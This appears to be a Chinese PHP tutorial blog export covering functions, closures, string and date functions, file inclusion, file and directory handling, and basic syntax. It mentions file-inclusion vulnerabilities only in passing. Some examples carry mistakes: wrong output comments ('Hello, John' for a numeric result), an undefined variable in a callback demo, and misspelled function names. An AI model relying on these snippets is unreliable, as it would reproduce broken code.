is_object() //判断变量是否为对象// 语法bool is_object(mixed $var)// 用法$var = new stdClass;echo is_object($var) ? 'Object' : 'Not an Object'; // 输出:Object8. is_resource() //判断变量是否为资源类型// 语法bool is_resource(mixed $var)// 用法$var = fopen("text.txt", "r");echo is_resource($var) ? 'Resource' : 'Not a Resource'; // 输出:Resource9. is_string() //判断变量是否为字符串// 语法bool is_string(mixed $var)// 用法$var = "Hello World!";echo is_string($var) ? 'String' : 'Not a String'; // 输出:String// 注: 如果直接打印结果,成功显示为1,失败则不打印任何内容 ​\t使用函数可以将复杂的任务分解为更小的可管理单元,使代码更加模块化.这使得代码更易于理解、调试和修改.此外,PHP还提供了许多有用的内置函数和函数库,以便更方便地处理各种任务,如字符串处理、文件操作、数据库连接等. ​\t为了使用函数,你需要先定义函数并指定函数名、参数列表和函数体.函数名应具有描述性,能够清楚地表达函数的功能.参数列表定义了函数接受的输入,而函数体则包含了要执行的代码.当需要使用函数时,只需调用函数并传递所需的参数即可. 创建 PHP 函数123456<?php\t// function 定义函数的关键字 function functionName([参数]){ //[参数]可有可无 //函数体 //返回值: return结果; } 函数命名规范: 函数名不区分大小写 函数名使用英文,遵循规范 下划线不属于特殊符号 数字可以加在中间或者后面 不用特殊符号 命名的时候要有意义 遵循驼峰或者下划线 不能使用系统函数以及关键字作为函数名 如下创建一个输出一句话的函数: 123456<?php\tfunction echo_test() { echo "PHP study hard !! "; } echo_test(); 输出结果: 1PHP study hard !! 函数 - 添加参数 ​\t在PHP函数中,添加参数是指在函数定义时声明函数所需的输入.参数允许你向函数传递数据,使函数能够处理不同的输入并产生相应的输出. ​\t在函数定义中,你可以指定零个或多个参数,每个参数由参数名和参数类型组成.参数名是用来在函数内部引用输入值的变量名,而参数类型则决定了该参数接受的数据类型. 1234567891011121314151617181920<?php\tfunction name($names) { echo $names . "<br>"; } echo "My name is ".name("php"); echo "My sister's name is ".name("Bob"); echo "My brother's name is ".name("Tony"); echo "-------------------</br>"; // 指定类型的参数 function type_name(string $type_names){ var_dump($type_names); echo "</br>"; echo $type_names. "</br>"; } echo "My name is ".type_name("php"); echo "My sister's name is ".type_name(100); // 函数会自动强制帮我们转换成string类型 echo "My brother's name is ".type_name("Tony"); 1234567891011121314151617181920212223<?php\t// 参数默认值 /* * PHP 中的函数参数默认值允许你在函数定义中为参数指定一个默认的数值或者字符串. * 这意味着如果函数在调用时没有为该参数提供值,那么将会使用默认值作为参数的值. * 参数默认值的设置使得函数更加灵活,因为你不需要每次都为每个参数提供值. * 使用参数默认值非常简单,只需要在函数定义中为参数赋予默认值即可 * */ /* * 如果你为函数的参数设置默认值,则所有没有默认值的参数必须位于有默认值的参数之前. * 这是由 PHP 语法规则所决定的. * 这个限制存在的原因是为了确保代码的可读性和可预测性. * 当函数的参数有默认值时,调用函数时可以省略这些参数. * 如果允许将拥有默认值的参数放在第一个位置,那么在省略其他参数时,很难确定哪些参数被省略了 * 从而导致代码不易阅读和理解. * */ function greet($name,$age=100) { echo "Hello, " . $name.",年龄:".$age; } greet("Guest"); // 输出: Hello, Guest,年龄:100 greet("John",10); // 输出: Hello, John,年龄:10 函数返回值 ​\t函数返回值是指函数执行完成后,将结果返回给调用者的值. ​\t以下是一段介绍 PHP 函数中函数返回值的内容: ​\tPHP 中的函数返回值允许你从函数中获取一个结果,并将该结果传递给调用函数的代码.使用函数返回值可以使函数更加灵活和实用,因为你可以利用函数的返回值来进行进一步的操作、处理和判断. ​\t要在 PHP 中使函数返回一个值,你可以使用 return 语句.在函数的代码块中,当需要返回值时,可以使用 return 关键字后跟要返回的值 1234567891011121314151617181920212223242526<?php // 返回值只有1个 // 定义一个名为 calculateSum 的函数,接受两个参数 $num1 和 $num2 function calculateSum($num1, $num2) { return $num1 + $num2; // 返回两个参数的和 } // 调用 calculateSum 函数,传入参数 5 和 3,并将结果赋值给 $result 变量 $result = calculateSum(5, 3); // 输出结果: 8,并在输出后添加 HTML 换行标签 echo $result."</br>"; // 返回值有多个 可以将这些值封装到数组或对象中,然后将该数组或对象作为函数的返回值. // 定义一个名为 getPersonInfo 的函数,返回一个包含个人信息的数组 function getPersonInfo(): array { $name = "John"; // 声明并赋值变量 $name,存储名字 "John" $age = 25; // 声明并赋值变量 $age,存储年龄 25 $occupation = "Developer"; // 声明并赋值变量 $occupation,存储职业 "Developer" return array($name, $age, $occupation); // 返回一个包含个人信息的数组 } $info = getPersonInfo(); // 调用 getPersonInfo 函数,并将返回的数组赋值给变量 $info echo $info[0]."</br>"; // 输出数组 $info 的第一个元素,即名字 "John" echo $info[1]."</br>"; // 输出数组 $info 的第二个元素,即年龄 25 echo $info[2]."</br>"; // 输出数组 $info 的第三个元素,即职业 "Developer" 回调函数在PHP中,回调函数是一种可以作为参数传递给其他函数的函数.回调函数在函数内部被调用,允许在特定的时候执行自定义的代码逻辑.使用回调函数可以实现更灵活、可扩展的代码结构. 为什么使用回调函数?使用回调函数的主要目的是将某些代码逻辑作为参数传递给其他函数,以便在特定的时候执行.这样做的好处包括: 提供了解耦的方式:回调函数将代码逻辑与主函数分离,使得代码更易于理解和维护. 增强了代码的灵活性:通过动态设置回调函数,可以根据需要改变函数的行为. 实现了代码的复用:可以将相同的回调函数应用于多个函数调用,避免了重复编写相似的代码. 如何使用回调函数?使用回调函数需要注意以下几点: 定义回调函数:首先,需要定义一个函数,作为回调函数的具体实现.该函数可以是普通函数、类方法或匿名函数. 将回调函数作为参数传递:在调用支持回调的函数时,将回调函数作为参数传递给这些函数.确保回调函数的参数和返回值与被调用的函数要求的一致. 执行回调函数:当被调用的函数满足特定条件时,会在适当的时候执行传递的回调函数. 示例代码回调函数示例代码123456789101112131415161718192021222324252627282930<?php /** * 函数 process() 接受两个参数:$data 和 $callback. * 它执行一些处理操作后,调用传递的回调函数 $callback 并将 $data 作为参数传递给回调函数. * 最后,函数 process() 返回回调函数的结果. */ function process($data, $callback) { // 执行某些处理操作 // 调用回调函数 $result = $callback($data); // 继续处理其他操作 return $result; } /** * 回调函数 myCallback() 接收一个参数,并将该参数乘以2后返回. */ function myCallback($value) { return $value * 2; } $data = 10; // 调用函数 process() 并传递回调函数 myCallback() $result = process($data, 'myCallback'); echo $result; // 输出:20 可变函数可变函数:当前有一个变量所保存到值,刚好是一个函数的名字,那么就可以使用变量+()来充当函数名使用 12345678910111213141516<?php /* * $变量='display'; * function display(){ * } * //可变函数 * $变量() * */ // 定义一个名为 display 的函数,用于输出函数名 function display(){ echo __FUNCTION__."</br>"; // 输出函数的名称,并添加 HTML 换行标签 } $func = "display"; // 将字符串 "display" 赋值给变量 $func display(); // 调用 display 函数,输出函数的名称 $func(); // 使用变量 $func 来调用函数,输出函数的名称 可变函数在系统使用的过程中还是比较多的,尤其是使用很多系统函数的时候:需要用户在外部定义一个自定义函数,但是是需要传入到系统函数内部使用. 1234567891011121314151617<?php // 代码示例: // 将一个用户定义的函数传入给另外一个函数(函数名)去使用的过程,称之为回调过程,而被传入的函数称之为回调函数 //定义系统函数(假设) function sys_function($arg1,$arg2){ //给指定的函数(第一个参数),求对应的第二个参数值的4次方 //对实际用户输入的数值进行处理 $age2 = $age2 + 10; return $arg1($arg2); //相当于user_function(20) } //定义一个用户函数:求一个数的四次方 function user_function($num){ return $num * $num * $num * $num; } //求10的4次方 sys_function('user_function',10); 匿名函数 在PHP中,匿名函数是一种没有明确命名的函数,也称为闭包函数.可以通过使用function()语法来创建匿名函数.匿名函数通常用于以下场景: - 作为回调函数传递给其他函数. 在需要一个短暂的函数时,不必为其命名. 创建匿名函数的一般语法如下: 123456789<?php /* * $anonymous是变量名,可以根据需要自行定义. * parameters是匿名函数的参数. * 函数体中可以编写实际要执行的代码逻辑. */ $anonymous = function(parameters) { // 函数体\t}; 123456789101112131415161718192021222324252627282930313233343536<?php /* * 匿名函数可以像普通函数一样被调用. * 如果要执行匿名函数,可以像调用普通函数一样使用变量名加括号的方式. */ $sum = function($a, $b) { return $a + $b; }; echo $sum(2, 3); // 调用匿名函数并传递参数\t/* * 匿名函数还可以作为回调函数传递给其他函数 * 例如array_map()和usort()等PHP函数. * */ $numbers = [1, 2, 3, 4, 5]; // 定义了一个数字数组 $numbers,包含了数字 1 到 5. // 使用匿名函数作为回调函数,对数组中的每个元素进行平方操作 /* * array_map() 是一个PHP内置函数,用于将回调函数应用到给定数组中的每个元素, * 并返回一个新的数组,其中包含了应用回调函数后的结果. * 语法: * array_map(callback $callback, array $array1, array ...$arrays): array * callback:回调函数,可以是普通函数、类方法或匿名函数. * $array1, $arrays:要操作的数组,可以是一个或多个数组. * */ /* * * 使用 array_map() 函数对数组 $numbers 中的每个元素应用回调函数来进行平方操作. * 匿名函数被传递给 array_map() 函数作为回调函数,它采用一个参数 $number,表示数组中的当前元素,然后返回该元素的平方值.所以,匿名函数内部使用 $number * $number 来计算平方. * array_map() 函数返回一个新的数组,其中包含了对原始数组 $numbers 中的每个元素进行平方操作后的结果. * */ $squared = array_map(function($number) { return $number * $number; }, $numbers); print_r($squared); // 输出:Array ( [0] => 1 [1] => 4 [2] => 9 [3] => 16 [4] => 25 ) 变量保存匿名函数,本质得到的是一个对象(closure) 1234567<?php $sum = function($a, $b) { return $a + $b; }; echo $sum(2, 3); // 调用匿名函数并传递参数 echo "</br>"; var_dump($sum); // object(Closure)#1 (1) { ["parameter"]=> array(2) { ["$a"]=> string(10) "" ["$b"]=> string(10) "" } } 闭包(Closure) 在PHP中,闭包是一种特殊的匿名函数,它可以在定义时捕获其周围作用域的变量,并且可以在后续的调用中访问和修改这些变量.闭包允许我们将函数作为一等公民来对待,可以将其作为参数传递给其他函数,也可以从其他函数中返回. 创建闭包闭包的基本语法如下: 123$closure = function ($arg1, $arg2, ...) { // 函数体}; 通过使用 function 关键字和匿名函数的语法,我们可以创建一个闭包并将其赋值给变量 $closure.闭包可以接收任意数量的参数,并且在函数体中执行相应的操作. 使用闭包闭包可以像普通函数一样被调用,例如: 12<?php\t$result = $closure($value1, $value2); 在上述例子中,我们通过调用闭包 $closure 并传递参数 $value1 和 $value2 来获取结果 $result.闭包会根据传入的参数执行函数体中的操作,并返回一个结果. 捕获变量闭包不仅可以访问传递给它的参数,还可以捕获定义在其周围作用域中的变量.这意味着闭包可以在稍后的调用中访问和修改这些变量的值. 123456<?php $message = "Hello"; $closure = function ($name) use ($message) { echo $message . ", " . $name; }; $closure("John"); // 输出:Hello, John 在上述例子中,闭包 $closure 捕获了定义在其周围作用域中的变量 $message.在闭包内部,我们可以通过 use 关键字引用这个变量,并将其用于输出. 应用场景闭包常常用于回调函数、事件处理程序和高阶函数等场景.它们可以帮助我们编写更灵活和可重用的代码,同时提供更好的封装性和代码组织方式. 闭包和匿名函数的区别我们的匿名函数明明可以传参为什么还要用到闭包呢?​\t匿名函数确实可以传递参数,但是闭包是一种特殊的匿名函数,它具有捕获周围作用域变量的能力.​\t闭包与普通匿名函数的区别在于,闭包可以在定义时捕获其周围作用域中的变量,并且可以在后续的调用中访问和修改这些变量的值.这使得闭包在某些情况下更为灵活和强大. 1234567891011121314<?php // 闭包与普通匿名函数的区别在于,闭包可以在定义时捕获其周围作用域中的变量,并且可以在后续的调用中访问和修改这些变量的值.这使得闭包在某些情况下更为灵活和强大.\t// 示例 function createMultiplier($factor) { return function ($number) use ($factor) { return $number * $factor; }; } $double = createMultiplier(2); $result = $double(10); echo $result; // 输出:20 // 我们使用闭包创建了一个乘法器函数 createMultiplier(),它接受一个因子参数并返回一个闭包.这个闭包将捕获 createMultiplier() 函数的 $factor 参数,并返回给定数值和因子的乘积. ​\t通过这种方式,闭包可以更灵活地操作作用域中的变量. ​\t即使在定义闭包时,外部变量的值已经发生了改变,闭包仍然可以访问到最初捕获的变量值. ​\t因此,捕获参数是指闭包在定义时绑定并保留对周围作用域变量的引用,以便在后续调用中使用,而传参是指直接向匿名函数传递参数来处理特定的操作. 123456789101112131415161718192021222324252627<?php // 以下代码用于解释定义闭包时,外部变量的值已经发生了改变,闭包仍然可以访问到最初捕获的变量值 $factor = 2; $factor2 = 10; $greeting = function ($number,$factor) { return $number * $factor; }; echo $greeting($factor2,$factor); // 输出:Hello, John echo "</br>"; $factor = 10; echo "读的是新的值:".$greeting($factor2,$factor); // 输出:Hello, John echo "</br>"; $factor = 2; $multiplier = function ($number) use ($factor) { return $number * $factor; }; $result = $multiplier(10); echo $result; // 输出:20 echo "</br>"; $factor = 10; // 使变量产生新的值 $result = $multiplier(10); echo '读的是最初的$factor值:'.$result; // 输出:20 相关函数1234567891011121314151617181920212223242526272829303132字符串相关函数1. 转换函数: implode(),explode(),st_split() lmplode(连接方式,数组):将数组中的元素按照某个规则连接成一个字符串, explode(分割字符,目标字符串):将字符串按照某个格式进行分割,变成数组 str_split(字符串,字符长度):按照指定长度拆分字符串得到数组2. 截取函数: trim(),ltrim(), rtrim() trim(字符串,[指定字符]):本身默认是用来去除两边的空格(中间不行),但是也可以指定要去除的内容,是按照指定的内容循环去除两边有的内容:直到碰到一个不是目标字符为止. ltrim():去除左边的空格 rtrim():去除右边的空格3. 截取函数: substr(),strstr() substr(字符串,起始位置从0开始[长度]):指定位置开始截取字符串,可以截取指定长度(不指定到最后) strstr(字符串,匹配字符):从指定位置开始,截取到最后(可以用来取文件后缀名)4. 大小转换函数: strtolower(),strtoupper(),ucfirst() strtolower: 全部小写 strtoupper: 全部大写 ucfirst: 首字母大写5. 查找函数: strpos(),strrpos() strpos():判断字符在目标字符串中出现的位置(首次) strrpos():判断字符在目标字符串中最后出现的位置6. 替换函数: str_replace() str_replace(匹配目标,替换的内容,字符串本身):将目标字符串中部分字符串进行替换, $str = '123a234a3b2a'; str_replace('a','b',$str);7. 格式化函数: printf(),sprintf()printf/sprintf(输出字符串有占位符,顺序占位内容):格式化输出数据 $age = 50; $name = 'TOM'; //格式化输出 echo sprintf("你好,今年我%d岁,我叫%s",$age,$name);8. 其他: str_repeat(),str_shuffle() str_repeat():重复某个字符串N次 str_shuffle():随机打乱字符串 十一、PHP日期处理介绍 日期处理在 Web 开发中非常重要,PHP 提供了丰富的日期函数用于处理与日期和时间相关的操作. 获取当前日期和时间123456789101112131415161718192021<?php /* * date(format, timestamp) * - 返回指定格式的日期字符串. * - 可通过第二个参数指定时间戳. * */ echo date('Y-m-d H:i:s'); // 2023-08-03 09:00:56 /* * time() * - 返回当前的Unix时间戳 * */ echo "</br>"; echo time(); // 1691024456 /* * strtotime(timeString) * - 将人类可读的时间字符串转换为 Unix 时间戳. * */ echo "</br>"; echo strtotime('2023-08-03 09:00:56'); // 1691024456 格式化日期和时间123456789101112131415161718/* * date_format(dateTime, format) * - 格式化日期和时间对象. * - 适用于 DateTime 对象. * */echo "</br>";// new DateTime('2023-08-03 09:00:56')表示创建了一个 DateTime 对象,表示日期和时间为 2023 年 8 月 3 日 09:00:56.echo date_format(new DateTime('2023-08-03 09:00:56'), 'Y-m-d H:i:s'); // 输出 2023-08-03 09:00:56/* * date_default_timezone_set(timezone) * - 设置默认时区 * - 时区列表:https://www.php.net/manual/en/timezones.php * */echo "设置默认时区:";date_default_timezone_set('Africa/Abidjan');echo date('Y-m-d H:i:s'); // 2023-08-03 01:09:47 日期计算123456789101112131415161718192021222324252627282930313233343536373839<?PHP /* * strtotime(timeString, now) * - 将相对的或绝对的时间字符串转换为 Unix 时间戳. * - 可选的第二个参数指定基准时间. * */ echo "</br>"; date_default_timezone_set('Asia/Shanghai'); echo date('Y-m-d H:i:s',strtotime('+1 day')); // 2023-08-04 09:12:41 /* * date_add(dateTime, interval) * - 在给定的日期上添加时间间隔. * - 适用于 DateTime 对象. * */ echo "</br>"; // 创建一个 DateTime 对象,表示日期和时间为 2023 年 8 月 2 日 17:30:00 $dateTime = new DateTime('2023-08-02 17:30:00'); // 创建一个 DateInterval 对象,表示时间间隔为 1 天 $interval = new DateInterval('P1D'); // 在 DateTime 对象上添加时间间隔,这里是添加了 1 天 $dateTime->add($interval); // 格式化 DateTime 对象并将其以指定格式输出 echo $dateTime->format('Y-m-d H:i:s'); /* * date_diff(dateTime1, dateTime2) * - 计算两个日期之间的差异. * - 适用于 DateTime 对象. * */ echo "</br>"; // 创建一个 DateTime 对象,表示日期为 2023 年 8 月 2 日(时间默认为 00:00:00) $dateTime1 = new DateTime('2023-08-02'); // 创建一个 DateTime 对象,表示日期为 2023 年 8 月 5 日(时间默认为 00:00:00) $dateTime2 = new DateTime('2023-08-05'); // 计算两个日期对象之间的差异 $interval = date_diff($dateTime1, $dateTime2); // 格式化并输出两个日期之间的天数差异,使用 %R 表示正负号,%a 表示天数 echo $interval->format('%R%a days'); 解析和输出日期字符串1234567891011121314151617<?php echo "</br>--------解析和输出日期字符串--------</br>"; /* * date_parse(dateString) * - 解析日期字符串并返回关联数组 * */ print_r(date_parse('2023-08-03 09:20:41')); // Array ( [year] => 2023 [month] => 8 [day] => 3 [hour] => 9 [minute] => 20 [second] => 41 [fraction] => 0 [warning_count] => 0 [warnings] => Array ( ) [error_count] => 0 [errors] => Array ( ) [is_localtime] => ) /* * strftime(format, timestamp) * - 格式化日期和时间,支持本地化字符串的替换. * */ echo "</br>"; // 设置本地化的时区为中文(简体)并使用 UTF-8 编码 setlocale(LC_TIME, 'zh_CN.utf8'); // 使用 strftime 函数将当前时间格式化为指定的字符串格式,%Y 表示年份(四位数),%m 表示月份(两位数),%d 表示日期(两位数),%H 表示小时(24小时制),%M 表示分钟,%S 表示秒数 echo strftime('%Y年%m月%d日 %H:%M:%S', time()); // 2023年08月03日 09:22:10 实际应用示例以下是一些实际应用示例,展示如何利用 PHP 日期函数处理日期和时间: 123456789101112131415161718192021222324252627282930313233343536373839<?php // 15.5 实际应用示例 echo "</br>实际应用示例</br>"; // 生成特定格式的日期字符串 echo $date = date('Y-m-d'); // 计算两个日期之间的天数差异 echo "</br>"; // 创建一个 DateTime 对象,表示开始日期为 2023 年 7 月 1 日(时间默认为 00:00:00) $startDate = new DateTime('2023-07-01'); // 创建一个 DateTime 对象,表示结束日期为 2023 年 7 月 10 日(时间默认为 00:00:00) $endDate = new DateTime('2023-07-10'); // 计算两个日期对象之间的差异 $interval = date_diff($startDate, $endDate); // 格式化并输出两个日期之间的天数差异,使用 %R 表示正负号,%a 表示天数 echo $interval->format('%R%a days'); // 解析复杂的日期字符串 echo "</br>"; // 定义日期字符串 $dateString = '2023-08-02 17:30:00'; // 使用 date_parse 函数解析日期字符串并返回日期信息数组 $dateInfo = date_parse($dateString); // 输出解析后的日期信息 echo "年份:" . $dateInfo['year'] . "<br>"; echo "月份:" . $dateInfo['month'] . "<br>"; echo "日期:" . $dateInfo['day'] . "<br>"; echo "小时:" . $dateInfo['hour'] . "<br>"; echo "分钟:" . $dateInfo['minute'] . "<br>"; echo "秒钟:" . $dateInfo['second'] . "<br>"; /* * result: * 年份:2023 * 月份:8 * 日期:2 * 小时:17 * 分钟:30 * 秒钟:0 * 总结PHP 提供了丰富的日期处理函数,用于获取、格式化、计算和解析日期和时间.熟练掌握这些函数可以简化日期处理任务,提高开发效率. 十二、文件包含文件包含简介 文件包含:在一个 PHP脚本中,需要将另外一个文件(PHP)包含进来,去合作完成一件事情. 文件包含的意义: 要么使用被包含文件中的内容,实现代码的共享(重用):向上包含(索要) 向上包含:在当前脚本要用某个代码之前包含别的文件 要么自己有东西可以给别的文件使用,实现代码的共享(重用):向下包含(给予) 向下包含:在自己有某个东西的时候,需要别的脚本来显示(自己代码写完之后包含其他文件) 最大的作用:分工协作,每个脚本做的事情不一样,因此可以使用协作方式,让多个脚本共同完成一件事情 解耦和耦合解耦和耦合是两个重要的概念.解耦是指减少模块之间的依赖关系,使得软件的各个模块能够独立地进行修改、测试和维护.耦合则是指模块之间的紧密关联程度,高耦合表示一个模块对其他模块的依赖程度较高.解耦的好处包括:提高可维护性:当一个模块独立于其他模块时,修改一个模块不会对其他模块产生影响,从而降低了维护的复杂性.增强可测试性:独立的模块可以更容易地进行单元测试,而不需要涉及到其他模块.促进团队合作:解耦可以使团队成员并行开发不同的模块,减少彼此之间的阻塞和依赖.以下是一些常见的解耦策略:使用接口或抽象类:通过定义接口或抽象类,模块之间只依赖于接口或抽象类而不是具体实现,从而实现解耦.使用事件驱动架构:通过发布-订阅模式或观察者模式,模块之间通过事件进行通信,解耦了发送者和接收者.使用依赖注入:将依赖关系从模块内部移动到外部,通过依赖注入容器来管理依赖关系,从而实现解耦.使用消息队列:模块通过在消息队列中发送和接收消息进行通信,从而实现解耦.另一方面,耦合度高的代码容易引发以下问题:修改一个模块可能会影响到其他模块,导致意想不到的副作用.难以进行单元测试,需要涉及到多个相关模块.增加了代码的复杂性和维护成本. 文件包含四种形式 include:包含文件 include_once:系统会自动判断文件包含过程中,是否已经包含过(一个文件最多被包含一次) require:与include相同 require_once:与include_once相同 文件包含使用123456789101112<?php // 包含基本语法 include '文件名字'; include('文件名字'); //文件名字,注意路径\t// 向上包含:先包含文件,后使用文件的内容 include 'include1.php'; echo $a; echo $b;\t// 向下包含:包含文件为了显示以上数据 $a = 10; const PI = 3.14; include_once 'include4.php' 文件加载原理 在文件加载(include或者require)的时候,系统会自动将被包含文件中的代码相当于嵌入到当前文件中 加载位置:在哪加载,对应的文件中的代码嵌入的位置就是对应的include位置 在PHP中被包含的文件是单独进行编译的 包含实例message.php12<?php $message = "php study hard!!!"; show.php123456789101112131415<!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>SecHub</title></head><body><p>努力学习</p><?php include 'message.php';echo $message;?></body></html> 区别总结 include()函数:该函数会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制include()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. require()函数:该函数与include()函数类似,也会将指定文件包含到当前PHP文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制require()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. include_once()和require_once()函数:这两个函数与include()函数和require()函数类似,也会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码. 不同之处在于,如果文件已经被包含过,则不会再次包含.攻击者可以利用这两个函数的特性,通过改变包含文件的路径,来实现文件包含漏洞. 123456<?php\tinclude('login.php')\techo 'include test final!';//include报错,但是会继续执行,显示:include test final!\trequire('login1.php')\techo 'require test final!';//require报错,停止代码的执行?> 十三、PHP 文件操作简介在 PHP 中,文件操作是一项非常重要的任务.它允许我们读取文件的内容、写入新的内容,以及对文件进行其他操作.PHP 提供了一组内置函数,使得文件操作变得简单而高效. 作用文件操作在 Web 开发中有广泛的应用.它可以用于读取配置文件、日志记录、数据存储等场景.通过使用 PHP 的文件操作功能,我们可以方便地处理文件,实现各种需求. 使用场景 读取日志文件并进行数据分析和处理 从配置文件中读取各种设置和参数 将用户提交的表单数据写入到文件中 处理上传的文件,保存到指定目录 读取和修改 CSV、JSON、XML 等格式的数据文件 示例 模式 描述 r 只读.在文件的开头开始. r+ 读/写.在文件的开头开始. w 只写.打开并清空文件的内容;如果文件不存在,则创建新文件. w+ 读/写.打开并清空文件的内容;如果文件不存在,则创建新文件. a 追加.打开并向文件末尾进行写操作,如果文件不存在,则创建新文件. a+ 读/追加.通过向文件末尾写内容,来保持文件内容. x 只写.创建新文件.如果文件已存在,则返回 FALSE 和一个错误. x+ 读/写.创建新文件.如果文件已存在,则返回 FALSE 和一个错误. 如果 fopen() 函数无法打开指定文件,则返回 0 (false)。 下面是一个示例,展示了如何使用 PHP 进行文件读写操作. 12345678910111213141516171819202122232425262728293031323334353637383940414243<?php// 定义要读取和写入的文件路径$filePath = 'D:\\\\Software\\\\phpstudy_pro\\\\WWW\\\\localhost\\\\example.txt';// 打开文件进行写入$file = fopen($filePath, 'w');// 检查文件是否成功打开if ($file) { // 要写入的内容 $newContent = "这是新的文件内容"; // 写入文件 fwrite($file, $newContent); // 关闭文件 fclose($file); echo "文件写入成功!";} else { // 文件打开失败 echo "文件打开失败!";}// 打开文件进行读取$file = fopen($filePath, 'r');// 检查文件是否成功打开if ($file) { // 读取文件内容 $content = fread($file, filesize($filePath)); // 关闭文件 fclose($file); // 输出文件内容 echo "文件内容:"; echo nl2br($content); // 加上 nl2br 函数将换行符转换为 <br> 标签} else { // 文件打开失败 echo "文件打开失败!";} 十四、PHP 目录操作简介在 Web 开发中,我们经常需要对文件夹(目录)进行操作,例如创建新文件夹、复制或移动文件夹、遍历目录等等.PHP 提供了一组内置函数,使得目录操作变得容易而高效. 作用目录操作可以帮助我们处理文件的组织和管理.它允许我们创建、删除和重命名目录,查找文件和子目录,以及执行其他与目录相关的任务.通过使用 PHP 的目录操作功能,我们可以轻松地处理文件系统中的目录结构. 使用场景 创建项目文件夹和子文件夹 遍历目录并查找特定类型的文件 复制、移动或删除文件夹及其内容 计算文件夹的大小和文件数量 检查目录是否存在,如果不存在则创建 示例下面是一个示例,展示了如何使用 PHP 进行目录操作. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172<?php// 定义要操作的目录路径$directoryPath = 'D:\\\\Software\\\\phpstudy_pro\\\\WWW\\\\localhost\\\\test';// 创建目录if (!is_dir($directoryPath)) { // 如果指定路径不是一个目录 mkdir($directoryPath); // 创建目录 echo "目录创建成功!";} else { echo "目录已存在!";}// 遍历目录并输出文件名$dir = opendir($directoryPath); // 打开目录句柄echo "目录中的文件列表:";while (($file = readdir($dir)) !== false) { // 读取目录中的文件 if ($file != "." && $file != "..") { // 排除当前目录和上级目录 echo $file . "<br>"; // 输出文件名 }}closedir($dir); // 关闭目录句柄// 复制目录及其内容到新目录$newDirectoryPath = 'D:\\\\Software\\\\phpstudy_pro\\\\WWW\\\\localhost\\\\test_copy';if (is_dir($directoryPath) && !is_dir($newDirectoryPath)) { // 如果原目录存在且目标目录不存在 mkdir($newDirectoryPath); // 创建目标目录 recurse_copy($directoryPath, $newDirectoryPath); // 调用递归复制函数 echo "目录复制成功!";} else { echo "目录复制失败!";}// 删除目录及其内容if (is_dir($directoryPath)) { // 如果目录存在 delete_directory($directoryPath); // 调用递归删除函数 echo "目录删除成功!";} else { echo "目录不存在!";}// 递归复制目录及其内容function recurse_copy($src, $dst) { $dir = opendir($src); // 打开源目录句柄 @mkdir($dst); // 创建目标目录(@符号用于忽略警告) while (($file = readdir($dir)) !== false) { // 读取源目录中的文件 if ($file != "." && $file != "..") { // 排除当前目录和上级目录 if (is_dir($src . '/' . $file)) { // 如果是子目录 recurse_copy($src . '/' . $file, $dst . '/' . $file); // 递归调用函数复制子目录及其内容 } else { copy($src . '/' . $file, $dst . '/' . $file); // 复制文件 } } } closedir($dir); // 关闭源目录句柄}// 递归删除目录及其内容function delete_directory($dir) { if (is_dir($dir)) { // 如果目录存在 $objects = scandir($dir); // 扫描目录,获取文件和子目录列表 foreach ($objects as $object) { if ($object != "." && $object != "..") { // 排除当前目录和上级目录 if (is_dir($dir . "/" . $object)) { // 如果是子目录 delete_directory($dir . "/" . $object); // 递归调用函数删除子目录及其内容 } else { unlink($dir . "/" . $object); // 删除文件 } } } rmdir($dir); // 删除目录 }}","tags":["PHP","编程语言"]},{"title":"PHP-从入门到精通(上)","path":"/2023/09/02/20d7e033/","content":"总字符数: 18.08K 代码: 8.98K, 文本: 4.97K 预计阅读时间: 1.01 小时 一、PHP 语法php是什么 PHP(全称:Hypertext Preprocessor)是一种开源的脚本语言,通常用于服务器端编程和网页开发.PHP代码在服务器上执行,并且生成动态的网页内容. 以下是 PHP 的一些特点: 易于学习和使用:PHP 的语法简单易懂,学习门槛相对较低,适合初学者入门. 跨平台性:PHP 可以在多个操作系统上运行,包括 Windows、Linux、Mac 等. 与 HTML 集成:PHP 可以嵌入到 HTML 代码中,方便动态生成网页内容. 广泛应用:PHP 是一种非常流行的服务器端脚本语言,广泛用于开发动态网站、Web 应用程序和网站后端逻辑. 强大的功能:PHP 提供了许多内置函数和库,使开发者能够轻松处理字符串、数据库连接、文件处理、图像处理等各种任务. 它是开源的:PHP 被许多开发者积极参与开发和维护,有庞大的社区支持,可以获取到丰富的资源和扩展. PHP 在互联网领域有着广泛的应用,许多知名的网站和应用程序都使用 PHP 构建,如Facebook、Wikipedia、WordPress等. 总之,PHP 是一种功能强大且广泛使用的服务器端脚本语言,适合用于开发各种类型的动态网页和Web应用程序. PHP 代码的起始和结束标记PHP 脚本可放置于文档中的任何位置,以<?php开头,以?>结尾,整个粗体部分以php语言进行解析: 123<?php PHP 代码?> PHP 文件的默认文件扩展名是 .php(文件后缀),PHP文件通常包含 HTML 标签以及一些 PHP 脚本代码,通常的是PHP代码穿插到html文档里. 如下是PHP和HTML结合使用,利用内建PHP函数echo在页面上输出Hello PHP !!!!创建的2.php文件 1234567891011121314<!DOCTYPE html><html lang="en"><head>\t<meta charset="UTF-8">\t<title>php-study</title></head><body>\t<h1>欢迎学习php !!!</h1><?phpecho "Hello PHP !!!!";?></body></html> 在日常编写PHP文件时要注意PHP 语句以分号结尾 ; 时刻注意中英文分号问题. PHP中注释PHP 代码中的注释不会被解析执行,只能来读取和执行.大部分用于程序开发的时候,编辑者对代码的简要标记. PHP有三种注释: 1231. # 单行注释2. // 单行注释3. /* 注释内容*/ 多行注释 如下三种注释: 12345// echo "php 66666"# echo "hello everything!!!"/* echo "php 666888"*/ 单引号不能解析变量,双引号可以解析变量 双引号执行转译字符,单引号不转译 \\r \\t 它执行转译\\和’(输出一个) 能使用单引号就不使用双引号,为什么?因为单引号效率要比双引号快 如果是字符串和变量一起的时候用.来链接 双引号里面插入单引号,单引号里面插入变量,变量会解析 如果双引号里面插入变量的时候请在后面加上空格或者,号,不然计算机会认为你是一体的或者用大括号包起来当变量和字符串想在一起的时候用\"点\"来拼接 引号方式:比较适合定义那些比较短(不超过一行)或者没有结构要求的字符串 